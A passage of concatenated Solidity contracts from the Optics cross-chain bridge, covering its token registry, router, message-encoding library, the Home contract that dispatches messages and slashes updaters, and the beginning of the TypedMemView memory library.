representation exists, it deploys a new * representation contract. It then stores the relationship in the * "reprToCanonical" and "canonicalToRepr" mappings to ensure we can always * perform a lookup in either direction * Note that locally originating tokens should NEVER be represented in these lookup tables. */ abstract contract TokenRegistry is Initializable { // ============ Libraries ============ using TypedMemView for bytes; using TypedMemView for bytes29; using BridgeMessage for bytes29; // ============ Structs ============ // Tokens are identified by a TokenId: // domain - 4 byte chain ID of the chain from which the token originates // id - 32 byte identifier of the token address on the origin chain, in that chain's address format struct TokenId { uint32 domain; bytes32 id; } // ============ Public Storage ============ // UpgradeBeacon from which new token proxies will get their implementation address public tokenBeacon; // local representation token address => token ID mapping(address => TokenId) public representationToCanonical; // hash of the tightly-packed TokenId => local representation token address // If the token is of local origin, this MUST map to address(0). mapping(bytes32 => address) public canonicalToRepresentation; // ============ Events ============ event TokenDeployed( uint32 indexed domain, bytes32 indexed id, address indexed representation ); // ======== Initializer ========= /** * @notice Initialize the TokenRegistry with UpgradeBeaconController and * XappConnectionManager. * @dev This method deploys two new contracts, and may be expensive to call. * @param _tokenBeacon The address of the upgrade beacon for bridge token * proxies */ function __TokenRegistry_initialize(address _tokenBeacon) internal initializer { tokenBeacon = _tokenBeacon; } // ======== External: Token Lookup Convenience ========= /** * @notice Looks up the canonical identifier for a local representation. * @dev If no such canonical ID is known, this instead returns (0, bytes32(0)) * @param _local The local address of the representation */ function getCanonicalAddress(address _local) external view returns (uint32 _domain, bytes32 _id) { TokenId memory _canonical = representationToCanonical[_local]; _domain = _canonical.domain; _id = _canonical.id; } /** * @notice Looks up the local address corresponding to a domain/id pair. * @dev If the token is local, it will return the local address. * If the token is non-local and no local representation exists, this * will return `address(0)`. * @param _domain the domain of the canonical version. * @param _id the identifier of the canonical version in its domain. * @return _token the local address of the token contract */ function getLocalAddress(uint32 _domain, address _id) external view returns (address _token) { _token = getLocalAddress(_domain, TypeCasts.addressToBytes32(_id)); } // ======== Public: Token Lookup Convenience ========= /** * @notice Looks up the local address corresponding to a domain/id pair. * @dev If the token is local, it will return the local address. * If the token is non-local and no local representation exists, this * will return `address(0)`. * @param _domain the domain of the canonical version. * @param _id the identifier of the canonical version in its domain. * @return _token the local address of the token contract */ function getLocalAddress(uint32 _domain, bytes32 _id) public view returns (address _token) { _token = _getTokenAddress(BridgeMessage.formatTokenId(_domain, _id)); } // ======== Internal Functions ========= function _localDomain() internal view virtual returns (uint32); /** * @notice Get default name and details for a token * Sets name to "optics.[domain].[id]" * and symbol to * @param _tokenId the tokenId for the token */ function _defaultDetails(bytes29 _tokenId) internal pure returns (string memory _name, string memory _symbol) { // get the first and second half of the token ID (, uint256 _secondHalfId) = Encoding.encodeHex(uint256(_tokenId.id())); // encode the default token name: "[decimal domain].[hex 4 bytes of ID]" _name = string( abi.encodePacked( Encoding.decimalUint32(_tokenId.domain()), // 10 ".", // 1 uint32(_secondHalfId) // 4 ) ); // allocate the memory for a new 32-byte string _symbol = new string(10 + 1 + 4); assembly { mstore(add(_symbol, 0x20), mload(add(_name, 0x20))) } } /** * @notice Deploy and initialize a new token contract * @dev Each token contract is a proxy which * points to the token upgrade beacon * @return _token the address of the token contract */ function _deployToken(bytes29 _tokenId) internal returns (address _token) { // deploy and initialize the token contract _token = address(new UpgradeBeaconProxy(tokenBeacon, "")); // initialize the token separately from the IBridgeToken(_token).initialize(); // set the default token name & symbol string memory _name; string memory _symbol; (_name, _symbol) = _defaultDetails(_tokenId); IBridgeToken(_token).setDetails(_name, _symbol, 18); // store token in mappings representationToCanonical[_token].domain = _tokenId.domain(); representationToCanonical[_token].id = _tokenId.id(); canonicalToRepresentation[_tokenId.keccak()] = _token; // emit event upon deploying new token emit TokenDeployed(_tokenId.domain(), _tokenId.id(), _token); } /** * @notice Get the local token address * for the canonical token represented by tokenID * Returns address(0) if canonical token is of remote origin * and no representation token has been deployed locally * @param _tokenId the token id of the canonical token * @return _local the local token address */ function _getTokenAddress(bytes29 _tokenId) internal view returns (address _local) { if (_tokenId.domain() == _localDomain()) { // Token is of local origin _local = _tokenId.evmId(); } else { // Token is a representation of a token of remote origin _local = canonicalToRepresentation[_tokenId.keccak()]; } } /** * @notice Return the local token contract for the * canonical tokenId; revert if there is no local token * @param _tokenId the token id of the canonical token * @return the IERC20 token contract */ function _mustHaveToken(bytes29 _tokenId) internal view returns (IERC20) { address _local = _getTokenAddress(_tokenId); require(_local != address(0), "!token"); return IERC20(_local); } /** * @notice Return tokenId for a local token address * @param _token local token address (representation or canonical) * @return _id local token address (representation or canonical) */ function _tokenIdFor(address _token) internal view returns (TokenId memory _id) { _id = representationToCanonical[_token]; if (_id.domain == 0) { _id.domain = _localDomain(); _id.id = TypeCasts.addressToBytes32(_token); } } /** * @notice Determine if token is of local origin * @return TRUE if token is locally originating */ function _isLocalOrigin(IERC20 _token) internal view returns (bool) { return _isLocalOrigin(address(_token)); } /** * @notice Determine if token is of local origin * @return TRUE if token is locally originating */ function _isLocalOrigin(address _token) internal view returns (bool) { // If the contract WAS deployed by the TokenRegistry, // it will be stored in this mapping. // If so, it IS NOT of local origin if (representationToCanonical[_token].domain != 0) { return false; } // If the contract WAS NOT deployed by the TokenRegistry, // and the contract exists, then it IS of local origin // Return true if code exists at _addr uint256 _codeSize; // solhint-disable-next-line no-inline-assembly assembly { _codeSize := extcodesize(_token) } return _codeSize != 0; } /** * @notice Get the local representation contract for a canonical token * @dev Returns contract with null address if tokenId has no representation * @param _tokenId the tokenId of the canonical token * @return representation token contract */ function _representationForCanonical(bytes29 _tokenId) internal view returns (IBridgeToken) { return IBridgeToken(canonicalToRepresentation[_tokenId.keccak()]); } /** * @notice Get the local representation contract for a canonical token * @dev Returns contract with null address if tokenId has no representation * @param _tokenId the tokenId of the canonical token * @return representation token contract */ function _representationForCanonical(TokenId memory _tokenId) internal view returns (IBridgeToken) { return _representationForCanonical(_serializeId(_tokenId)); } /** * @notice downcast an IERC20 to an IBridgeToken * @dev Unsafe. Please know what you're doing * @param _token the IERC20 contract * @return the IBridgeToken contract */ function _downcast(IERC20 _token) internal pure returns (IBridgeToken) { return IBridgeToken(address(_token)); } /** * @notice serialize a TokenId struct into a bytes view * @param _id the tokenId * @return serialized bytes of tokenId */ function _serializeId(TokenId memory _id) internal pure returns (bytes29) { return BridgeMessage.formatTokenId(_id.domain, _id.id); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {XAppConnectionClient} from "./XAppConnectionClient.sol"; // ============ External Imports ============ import {IMessageRecipient} from "@celo-org/optics-sol/interfaces/IMessageRecipient.sol"; abstract contract Router is XAppConnectionClient, IMessageRecipient { // ============ Mutable Storage ============ mapping(uint32 => bytes32) public remotes; uint256[49] private __GAP; // gap for upgrade safety // ============ Modifiers ============ /** * @notice Only accept messages from a remote Router contract * @param _origin The domain the message is coming from * @param _router The address the message is coming from */ modifier onlyRemoteRouter(uint32 _origin, bytes32 _router) { require(_isRemoteRouter(_origin, _router), "!remote router"); _; } // ============ External functions ============ /** * @notice Register the address of a Router contract for the same xApp on a remote chain * @param _domain The domain of the remote xApp Router * @param _router The address of the remote xApp Router */ function enrollRemoteRouter(uint32 _domain, bytes32 _router) external onlyOwner { remotes[_domain] = _router; } // ============ Virtual functions ============ function handle( uint32 _origin, bytes32 _sender, bytes memory _message ) external virtual override; // ============ Internal functions ============ /** * @notice Return true if the given domain / router is the address of a remote xApp Router * @param _domain The domain of the potential remote xApp Router * @param _router The address of the potential remote xApp Router */ function _isRemoteRouter(uint32 _domain, bytes32 _router) internal view returns (bool) { return remotes[_domain] == _router; } /** * @notice Assert that the given domain has a xApp Router registered and return its address * @param _domain The domain of the chain for which to get the xApp Router * @return _remote The address of the remote xApp Router on _domain */ function _mustHaveRemote(uint32 _domain) internal view returns (bytes32 _remote) { _remote = remotes[_domain]; require(_remote != bytes32(0), "!remote"); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ External Imports ============ import {Home} from "@celo-org/optics-sol/contracts/Home.sol"; import {XAppConnectionManager} from "@celo-org/optics-sol/contracts/XAppConnectionManager.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; abstract contract XAppConnectionClient is OwnableUpgradeable { // ============ Mutable Storage ============ XAppConnectionManager public xAppConnectionManager; uint256[49] private __GAP; // gap for upgrade safety // ============ Modifiers ============ /** * @notice Only accept messages from an Optics Replica contract */ modifier onlyReplica() { require(_isReplica(msg.sender), "!replica"); _; } // ======== Initializer ========= function __XAppConnectionClient_initialize(address _xAppConnectionManager) internal initializer { xAppConnectionManager = XAppConnectionManager(_xAppConnectionManager); __Ownable_init(); } // ============ External functions ============ /** * @notice Modify the contract the xApp uses to validate Replica contracts * @param _xAppConnectionManager The address of the xAppConnectionManager contract */ function setXAppConnectionManager(address _xAppConnectionManager) external onlyOwner { xAppConnectionManager = XAppConnectionManager(_xAppConnectionManager); } // ============ Internal functions ============ /** * @notice Get the local Home contract from the xAppConnectionManager * @return The local Home contract */ function _home() internal view returns (Home) { return xAppConnectionManager.home(); } /** * @notice Determine whether _potentialReplcia is an enrolled Replica from the xAppConnectionManager * @return True if _potentialReplica is an enrolled Replica */ function _isReplica(address _potentialReplica) internal view returns (bool) { return xAppConnectionManager.isReplica(_potentialReplica); } /** * @notice Get the local domain from the xAppConnectionManager * @return The local domain */ function _localDomain() internal view virtual returns (uint32) { return xAppConnectionManager.localDomain(); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; interface IBridgeToken { function initialize() external; function name() external returns (string memory); function balanceOf(address _account) external view returns (uint256); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function burn(address _from, uint256 _amnt) external; function mint(address _to, uint256 _amnt) external; function setDetails( string calldata _name, string calldata _symbol, uint8 _decimals ) external; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ External Imports ============ import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol"; library BridgeMessage { // ============ Libraries ============ using TypedMemView for bytes; using TypedMemView for bytes29; // ============ Enums ============ // WARNING: do NOT re-write the numbers / order // of message types in an upgrade; // will cause in-flight messages to be mis-interpreted enum Types { Invalid, // 0 TokenId, // 1 Message, // 2 Transfer, // 3 Details, // 4 RequestDetails // 5 } // ============ Constants ============ uint256 private constant TOKEN_ID_LEN = 36; // 4 bytes domain + 32 bytes id uint256 private constant IDENTIFIER_LEN = 1; uint256 private constant TRANSFER_LEN = 65; // 1 byte identifier + 32 bytes recipient + 32 bytes amount uint256 private constant DETAILS_LEN = 66; // 1 byte identifier + 32 bytes name + 32 bytes symbol + 1 byte decimals uint256 private constant REQUEST_DETAILS_LEN = 1; // 1 byte identifier // ============ Modifiers ============ /** * @notice Asserts a message is of type `_t` * @param _view The message * @param _t The expected type */ modifier typeAssert(bytes29 _view, Types _t) { _view.assertType(uint40(_t)); _; } // ============ Internal Functions ============ /** * @notice Checks that Action is valid type * @param _action The action * @return TRUE if action is valid */ function isValidAction(bytes29 _action) internal pure returns (bool) { return isDetails(_action) || isRequestDetails(_action) || isTransfer(_action); } /** * @notice Checks that view is a valid message length * @param _view The bytes string * @return TRUE if message is valid */ function isValidMessageLength(bytes29 _view) internal pure returns (bool) { uint256 _len = _view.len(); return _len == TOKEN_ID_LEN + TRANSFER_LEN || _len == TOKEN_ID_LEN + DETAILS_LEN || _len == TOKEN_ID_LEN + REQUEST_DETAILS_LEN; } /** * @notice Formats an action message * @param _tokenId The token ID * @param _action The action * @return The formatted message */ function formatMessage(bytes29 _tokenId, bytes29 _action) internal view typeAssert(_tokenId, Types.TokenId) returns (bytes memory) { require(isValidAction(_action), "!action"); bytes29[] memory _views = new bytes29[](2); _views[0] = _tokenId; _views[1] = _action; return TypedMemView.join(_views); } /** * @notice Returns the type of the message * @param _view The message * @return The type of the message */ function messageType(bytes29 _view) internal pure returns (Types) { return Types(uint8(_view.typeOf())); } /** * @notice Checks that the message is of type Transfer * @param _action The message * @return True if the message is of type Transfer */ function isTransfer(bytes29 _action) internal pure returns (bool) { return actionType(_action) == uint8(Types.Transfer) && messageType(_action) == Types.Transfer; } /** * @notice Checks that the message is of type Details * @param _action The message * @return True if the message is of type Details */ function isDetails(bytes29 _action) internal pure returns (bool) { return actionType(_action) == uint8(Types.Details) && messageType(_action) == Types.Details; } /** * @notice Checks that the message is of type Details * @param _action The message * @return True if the message is of type Details */ function isRequestDetails(bytes29 _action) internal pure returns (bool) { return actionType(_action) == uint8(Types.RequestDetails) && messageType(_action) == Types.RequestDetails; } /** * @notice Formats Transfer * @param _to The recipient address as bytes32 * @param _amnt The transfer amount * @return */ function formatTransfer(bytes32 _to, uint256 _amnt) internal pure returns (bytes29) { return mustBeTransfer(abi.encodePacked(Types.Transfer, _to, _amnt).ref(0)); } /** * @notice Formats Details * @param _name The name * @param _symbol The symbol * @param _decimals The decimals * @return The Details message */ function formatDetails( bytes32 _name, bytes32 _symbol, uint8 _decimals ) internal pure returns (bytes29) { return mustBeDetails( abi.encodePacked(Types.Details, _name, _symbol, _decimals).ref( 0 ) ); } /** * @notice Formats Request Details * @return The Request Details message */ function formatRequestDetails() internal pure returns (bytes29) { return mustBeRequestDetails(abi.encodePacked(Types.RequestDetails).ref(0)); } /** * @notice Formats the Token ID * @param _domain The domain * @param _id The ID * @return The formatted Token ID */ function formatTokenId(uint32 _domain, bytes32 _id) internal pure returns (bytes29) { return mustBeTokenId(abi.encodePacked(_domain, _id).ref(0)); } /** * @notice Retrieves the domain from a TokenID * @param _tokenId The message * @return The domain */ function domain(bytes29 _tokenId) internal pure typeAssert(_tokenId, Types.TokenId) returns (uint32) { return uint32(_tokenId.indexUint(0, 4)); } /** * @notice Retrieves the ID from a TokenID * @param _tokenId The message * @return The ID */ function id(bytes29 _tokenId) internal pure typeAssert(_tokenId, Types.TokenId) returns (bytes32) { // before = 4 bytes domain return _tokenId.index(4, 32); } /** * @notice Retrieves the EVM ID * @param _tokenId The message * @return The EVM ID */ function evmId(bytes29 _tokenId) internal pure typeAssert(_tokenId, Types.TokenId) returns (address) { // before = 4 bytes domain + 12 bytes empty to trim for address return _tokenId.indexAddress(16); } /** * @notice Retrieves the action identifier from message * @param _message The action * @return The message type */ function msgType(bytes29 _message) internal pure returns (uint8) { return uint8(_message.indexUint(TOKEN_ID_LEN, 1)); } /** * @notice Retrieves the identifier from action * @param _action The action * @return The action type */ function actionType(bytes29 _action) internal pure returns (uint8) { return uint8(_action.indexUint(0, 1)); } /** * @notice Retrieves the recipient from a Transfer * @param _transferAction The message * @return The recipient address as bytes32 */ function recipient(bytes29 _transferAction) internal pure typeAssert(_transferAction, Types.Transfer) returns (bytes32) { // before = 1 byte identifier return _transferAction.index(1, 32); } /** * @notice Retrieves the EVM Recipient from a Transfer * @param _transferAction The message * @return The EVM Recipient */ function evmRecipient(bytes29 _transferAction) internal pure typeAssert(_transferAction, Types.Transfer) returns (address) { // before = 1 byte identifier + 12 bytes empty to trim for address return _transferAction.indexAddress(13); } /** * @notice Retrieves the amount from a Transfer * @param _transferAction The message * @return The amount */ function amnt(bytes29 _transferAction) internal pure typeAssert(_transferAction, Types.Transfer) returns (uint256) { // before = 1 byte identifier + 32 bytes ID return _transferAction.indexUint(33, 32); } /** * @notice Retrieves the name from Details * @param _detailsAction The message * @return The name */ function name(bytes29 _detailsAction) internal pure typeAssert(_detailsAction, Types.Details) returns (bytes32) { // before = 1 byte identifier return _detailsAction.index(1, 32); } /** * @notice Retrieves the symbol from Details * @param _detailsAction The message * @return The symbol */ function symbol(bytes29 _detailsAction) internal pure typeAssert(_detailsAction, Types.Details) returns (bytes32) { // before = 1 byte identifier + 32 bytes name return _detailsAction.index(33, 32); } /** * @notice Retrieves the decimals from Details * @param _detailsAction The message * @return The decimals */ function decimals(bytes29 _detailsAction) internal pure typeAssert(_detailsAction, Types.Details) returns (uint8) { // before = 1 byte identifier + 32 bytes name + 32 bytes symbol return uint8(_detailsAction.indexUint(65, 1)); } /** * @notice Retrieves the token ID from a Message * @param _message The message * @return The ID */ function tokenId(bytes29 _message) internal pure typeAssert(_message, Types.Message) returns (bytes29) { return _message.slice(0, TOKEN_ID_LEN, uint40(Types.TokenId)); } /** * @notice Retrieves the action data from a Message * @param _message The message * @return The action */ function action(bytes29 _message) internal pure typeAssert(_message, Types.Message) returns (bytes29) { uint256 _actionLen = _message.len() - TOKEN_ID_LEN; uint40 _type = uint40(msgType(_message)); return _message.slice(TOKEN_ID_LEN, _actionLen, _type); } /** * @notice Converts to a Transfer * @param _action The message * @return The newly typed message */ function tryAsTransfer(bytes29 _action) internal pure returns (bytes29) { if (_action.len() == TRANSFER_LEN) { return _action.castTo(uint40(Types.Transfer)); } return TypedMemView.nullView(); } /** * @notice Converts to a Details * @param _action The message * @return The newly typed message */ function tryAsDetails(bytes29 _action) internal pure returns (bytes29) { if (_action.len() == DETAILS_LEN) { return _action.castTo(uint40(Types.Details)); } return TypedMemView.nullView(); } /** * @notice Converts to a Details * @param _action The message * @return The newly typed message */ function tryAsRequestDetails(bytes29 _action) internal pure returns (bytes29) { if (_action.len() == REQUEST_DETAILS_LEN) { return _action.castTo(uint40(Types.RequestDetails)); } return TypedMemView.nullView(); } /** * @notice Converts to a TokenID * @param _tokenId The message * @return The newly typed message */ function tryAsTokenId(bytes29 _tokenId) internal pure returns (bytes29) { if (_tokenId.len() == TOKEN_ID_LEN) { return _tokenId.castTo(uint40(Types.TokenId)); } return TypedMemView.nullView(); } /** * @notice Converts to a Message * @param _message The message * @return The newly typed message */ function tryAsMessage(bytes29 _message) internal pure returns (bytes29) { if (isValidMessageLength(_message)) { return _message.castTo(uint40(Types.Message)); } return TypedMemView.nullView(); } /** * @notice Asserts that the message is of type Transfer * @param _view The message * @return The message */ function mustBeTransfer(bytes29 _view) internal pure returns (bytes29) { return tryAsTransfer(_view).assertValid(); } /** * @notice Asserts that the message is of type Details * @param _view The message * @return The message */ function mustBeDetails(bytes29 _view) internal pure returns (bytes29) { return tryAsDetails(_view).assertValid(); } /** * @notice Asserts that the message is of type Details * @param _view The message * @return The message */ function mustBeRequestDetails(bytes29 _view) internal pure returns (bytes29) { return tryAsRequestDetails(_view).assertValid(); } /** * @notice Asserts that the message is of type TokenID * @param _view The message * @return The message */ function mustBeTokenId(bytes29 _view) internal pure returns (bytes29) { return tryAsTokenId(_view).assertValid(); } /** * @notice Asserts that the message is of type Message * @param _view The message * @return The message */ function mustBeMessage(bytes29 _view) internal pure returns (bytes29) { return tryAsMessage(_view).assertValid(); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Version0} from "./Version0.sol"; import {Common} from "./Common.sol"; import {QueueLib} from "../libs/Queue.sol"; import {MerkleLib} from "../libs/Merkle.sol"; import {Message} from "../libs/Message.sol"; import {MerkleTreeManager} from "./Merkle.sol"; import {QueueManager} from "./Queue.sol"; import {IUpdaterManager} from "../interfaces/IUpdaterManager.sol"; // ============ External Imports ============ import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; /** * @title Home * @author Celo Labs Inc. * @notice Accepts messages to be dispatched to remote chains, * constructs a Merkle tree of the messages, * and accepts signatures from a bonded Updater * which notarize the Merkle tree roots. * Accepts submissions of fraudulent signatures * by the Updater and slashes the Updater in this case. */ contract Home is Version0, QueueManager, MerkleTreeManager, Common, OwnableUpgradeable { // ============ Libraries ============ using QueueLib for QueueLib.Queue; using MerkleLib for MerkleLib.Tree; // ============ Constants ============ // Maximum bytes per message = 2 KiB // (somewhat arbitrarily set to begin) uint256 public constant MAX_MESSAGE_BODY_BYTES = 2 * 2**10; // ============ Public Storage Variables ============ // domain => next available nonce for the domain mapping(uint32 => uint32) public nonces; // contract responsible for Updater bonding, slashing and rotation IUpdaterManager public updaterManager; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[48] private __GAP; // ============ Events ============ /** * @notice Emitted when a new message is dispatched via Optics * @param leafIndex Index of message's leaf in merkle tree * @param destinationAndNonce Destination and destination-specific * nonce combined in single field ((destination << 32) & nonce) * @param messageHash Hash of message; the leaf inserted to the Merkle tree for the message * @param committedRoot the latest notarized root submitted in the last signed Update * @param message Raw bytes of message */ event Dispatch( bytes32 indexed messageHash, uint256 indexed leafIndex, uint64 indexed destinationAndNonce, bytes32 committedRoot, bytes message ); /** * @notice Emitted when proof of an improper update is submitted, * which sets the contract to FAILED state * @param oldRoot Old root of the improper update * @param newRoot New root of the improper update * @param signature Signature on `oldRoot` and `newRoot */ event ImproperUpdate(bytes32 oldRoot, bytes32 newRoot, bytes signature); /** * @notice Emitted when the Updater is slashed * (should be paired with ImproperUpdater or DoubleUpdate event) * @param updater The address of the updater * @param reporter The address of the entity that reported the updater misbehavior */ event UpdaterSlashed(address indexed updater, address indexed reporter); /** * @notice Emitted when Updater is rotated by the UpdaterManager * @param updater The address of the new updater */ event NewUpdater(address updater); /** * @notice Emitted when the UpdaterManager contract is changed * @param updaterManager The address of the new updaterManager */ event NewUpdaterManager(address updaterManager); // ============ Constructor ============ constructor(uint32 _localDomain) Common(_localDomain) {} // solhint-disable-line no-empty-blocks // ============ Initializer ============ function initialize(IUpdaterManager _updaterManager) public initializer { // initialize owner & queue __Ownable_init(); __QueueManager_initialize(); // set Updater Manager contract and initialize Updater _setUpdaterManager(_updaterManager); address _updater = updaterManager.updater(); __Common_initialize(_updater); emit NewUpdater(_updater); } // ============ Modifiers ============ /** * @notice Ensures that function is called by the UpdaterManager contract */ modifier onlyUpdaterManager() { require(msg.sender == address(updaterManager), "!updaterManager"); _; } // ============ External: Updater & UpdaterManager Configuration ============ /** * @notice Set a new Updater * @param _updater the new Updater */ function setUpdater(address _updater) external onlyUpdaterManager { _setUpdater(_updater); } /** * @notice Set a new UpdaterManager contract * @dev Home(s) will initially be initialized using a trusted UpdaterManager contract; * we will progressively decentralize by swapping the trusted contract with a new implementation * that implements Updater bonding & slashing, and rules for Updater selection & rotation * @param _updaterManager the new UpdaterManager contract */ function setUpdaterManager(address _updaterManager) external onlyOwner { _setUpdaterManager(IUpdaterManager(_updaterManager)); } // ============ External Functions ============ /** * @notice Dispatch the message it to the destination domain & recipient * @dev Format the message, insert its hash into Merkle tree, * enqueue the new Merkle root, and emit `Dispatch` event with message information. * @param _destinationDomain Domain of destination chain * @param _recipientAddress Address of recipient on destination chain as bytes32 * @param _messageBody Raw bytes content of message */ function dispatch( uint32 _destinationDomain, bytes32 _recipientAddress, bytes memory _messageBody ) external notFailed { require(_messageBody.length <= MAX_MESSAGE_BODY_BYTES, "msg too long"); // get the next nonce for the destination domain, then increment it uint32 _nonce = nonces[_destinationDomain]; nonces[_destinationDomain] = _nonce + 1; // format the message into packed bytes bytes memory _message = Message.formatMessage( localDomain, bytes32(uint256(uint160(msg.sender))), _nonce, _destinationDomain, _recipientAddress, _messageBody ); // insert the hashed message into the Merkle tree bytes32 _messageHash = keccak256(_message); tree.insert(_messageHash); // enqueue the new Merkle root after inserting the message queue.enqueue(root()); // Emit Dispatch event with message information // note: leafIndex is count() - 1 since new leaf has already been inserted emit Dispatch( _messageHash, count() - 1, _destinationAndNonce(_destinationDomain, _nonce), committedRoot, _message ); } /** * @notice Submit a signature from the Updater "notarizing" a root, * which updates the Home contract's `committedRoot`, * and publishes the signature which will be relayed to Replica contracts * @dev emits Update event * @dev If _newRoot is not contained in the queue, * the Update is a fraudulent Improper Update, so * the Updater is slashed & Home is set to FAILED state * @param _committedRoot Current updated merkle root which the update is building off of * @param _newRoot New merkle root to update the contract state to * @param _signature Updater signature on `_committedRoot` and `_newRoot` */ function update( bytes32 _committedRoot, bytes32 _newRoot, bytes memory _signature ) external notFailed { // check that the update is not fraudulent; // if fraud is detected, Updater is slashed & Home is set to FAILED state if (improperUpdate(_committedRoot, _newRoot, _signature)) return; // clear all of the intermediate roots contained in this update from the queue while (true) { bytes32 _next = queue.dequeue(); if (_next == _newRoot) break; } // update the Home state with the latest signed root & emit event committedRoot = _newRoot; emit Update(localDomain, _committedRoot, _newRoot, _signature); } /** * @notice Suggest an update for the Updater to sign and submit. * @dev If queue is empty, null bytes returned for both * (No update is necessary because no messages have been dispatched since the last update) * @return _committedRoot Latest root signed by the Updater * @return _new Latest enqueued Merkle root */ function suggestUpdate() external view returns (bytes32 _committedRoot, bytes32 _new) { if (queue.length() != 0) { _committedRoot = committedRoot; _new = queue.lastItem(); } } // ============ Public Functions ============ /** * @notice Hash of Home domain concatenated with "OPTICS" */ function homeDomainHash() public view override returns (bytes32) { return _homeDomainHash(localDomain); } /** * @notice Check if an Update is an Improper Update; * if so, slash the Updater and set the contract to FAILED state. * * An Improper Update is an update building off of the Home's `committedRoot` * for which the `_newRoot` does not currently exist in the Home's queue. * This would mean that message(s) that were not truly * dispatched on Home were falsely included in the signed root. * * An Improper Update will only be accepted as valid by the Replica * If an Improper Update is attempted on Home, * the Updater will be slashed immediately. * If an Improper Update is submitted to the Replica, * it should be relayed to the Home contract using this function * in order to slash the Updater with an Improper Update. * * An Improper Update submitted to the Replica is only valid * while the `_oldRoot` is still equal to the `committedRoot` on Home; * if the `committedRoot` on Home has already been updated with a valid Update, * then the Updater should be slashed with a Double Update. * @dev Reverts (and doesn't slash updater) if signature is invalid or * update not current * @param _oldRoot Old merkle tree root (should equal home's committedRoot) * @param _newRoot New merkle tree root * @param _signature Updater signature on `_oldRoot` and `_newRoot` * @return TRUE if update was an Improper Update (implying Updater was slashed) */ function improperUpdate( bytes32 _oldRoot, bytes32 _newRoot, bytes memory _signature ) public notFailed returns (bool) { require( _isUpdaterSignature(_oldRoot, _newRoot, _signature), "!updater sig" ); require(_oldRoot == committedRoot, "not a current update"); // if the _newRoot is not currently contained in the queue, // slash the Updater and set the contract to FAILED state if (!queue.contains(_newRoot)) { _fail(); emit ImproperUpdate(_oldRoot, _newRoot, _signature); return true; } // if the _newRoot is contained in the queue, // this is not an improper update return false; } // ============ Internal Functions ============ /** * @notice Set the UpdaterManager * @param _updaterManager Address of the UpdaterManager */ function _setUpdaterManager(IUpdaterManager _updaterManager) internal { require( Address.isContract(address(_updaterManager)), "!contract updaterManager" ); updaterManager = IUpdaterManager(_updaterManager); emit NewUpdaterManager(address(_updaterManager)); } /** * @notice Set the Updater * @param _updater Address of the Updater */ function _setUpdater(address _updater) internal { updater = _updater; emit NewUpdater(_updater); } /** * @notice Slash the Updater and set contract state to FAILED * @dev Called when fraud is proven (Improper Update or Double Update) */ function _fail() internal override { // set contract to FAILED _setFailed(); // slash Updater updaterManager.slashUpdater(msg.sender); emit UpdaterSlashed(updater, msg.sender); } /** * @notice Internal utility function that combines * `_destination` and `_nonce`. * @dev Both destination and nonce should be less than 2^32 - 1 * @param _destination Domain of destination chain * @param _nonce Current nonce for given destination chain * @return Returns (`_destination` << 32) & `_nonce` */ function _destinationAndNonce(uint32 _destination, uint32 _nonce) internal pure returns (uint64) { return (uint64(_destination) << 32) | _nonce; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; /** * @title Version0 * @notice Version getter for contracts **/ contract Version0 { uint8 public constant VERSION = 0; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.5.10; import {SafeMath} from "./SafeMath.sol"; library TypedMemView { using SafeMath for uint256; // Why does this exist? // the solidity `bytes memory` type has a few weaknesses. // 1. You can't index ranges effectively // 2. You can't slice without copying // 3. The underlying data may represent any type // 4. Solidity never deallocates memory, and memory costs grow // superlinearly // By using a memory view instead of a `bytes memory` we get the following // advantages: // 1. Slices are done on the stack, by manipulating the pointer // 2. We can index arbitrary ranges and quickly convert them to stack types // 3. We can insert type info into the pointer, and typecheck at runtime // This makes `TypedMemView` a useful tool for efficient zero-copy // algorithms. // Why bytes29? // We want to avoid confusion between views, digests, and other common // types so we chose a large and uncommonly used odd number of bytes // // Note that while bytes are left-aligned in a word, integers and addresses // are right-aligned. This means when working in assembly we have to // account for the 3 unused bytes on the righthand side // // First 5 bytes are a type flag. // - ff_ffff_fffe is reserved for unknown type. // - ff_ffff_ffff is reserved for invalid types/errors. // next 12 are memory address // next 12 are len // bottom 3 bytes are empty // Assumptions: // - non-modification of memory. // - No Solidity updates // - - wrt free mem point // - - wrt bytes representation in memory // - - wrt memory addressing in general // Usage: // - create type constants // - use `assertType` for runtime type assertions // - - unfortunately we can't do this at compile time yet :( // - recommended: implement modifiers that perform type checking // - - e.g. // - - `uint40 constant MY_TYPE = 3;` // - - ` modifer onlyMyType(bytes29 myView) { myView.assertType(MY_TYPE); }` // - instantiate a typed view from a bytearray using `ref` // - use `index` to inspect the contents of the view // - use `slice` to create smaller views into the same memory // - - `slice` can increase the offset // - - `slice can decrease the length` // - - must specify the output type of `slice` // - - `slice` will return a null view if you try to overrun // - - make sure to explicitly check for this with `notNull` or `assertType` // - use `equal` for typed comparisons. // The null view bytes29 public constant NULL = hex"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"; uint256 constant LOW_12_MASK = 0xffffffffffffffffffffffff; uint8 constant TWELVE_BYTES = 96; /** * @notice Returns the encoded hex character that represents the lower 4 bits of the argument. * @param _b The byte * @return char - The encoded hex character */ function nibbleHex(uint8 _b) internal pure returns (uint8 char) { // This can probably be done more efficiently, but it's only in error // paths, so we don't really care :) uint8 _nibble = _b | 0xf0; // set top 4, keep bottom 4 if (_nibble == 0xf0) {return 0x30;} // 0 if (_nibble == 0xf1) {return 0x31;} // 1 if (_nibble == 0xf2) {return 0x32;} // 2 if (_nibble == 0xf3) {return 0x33;} // 3 if (_nibble == 0xf4) {return 0x34;} // 4 if (_nibble == 0xf5) {return 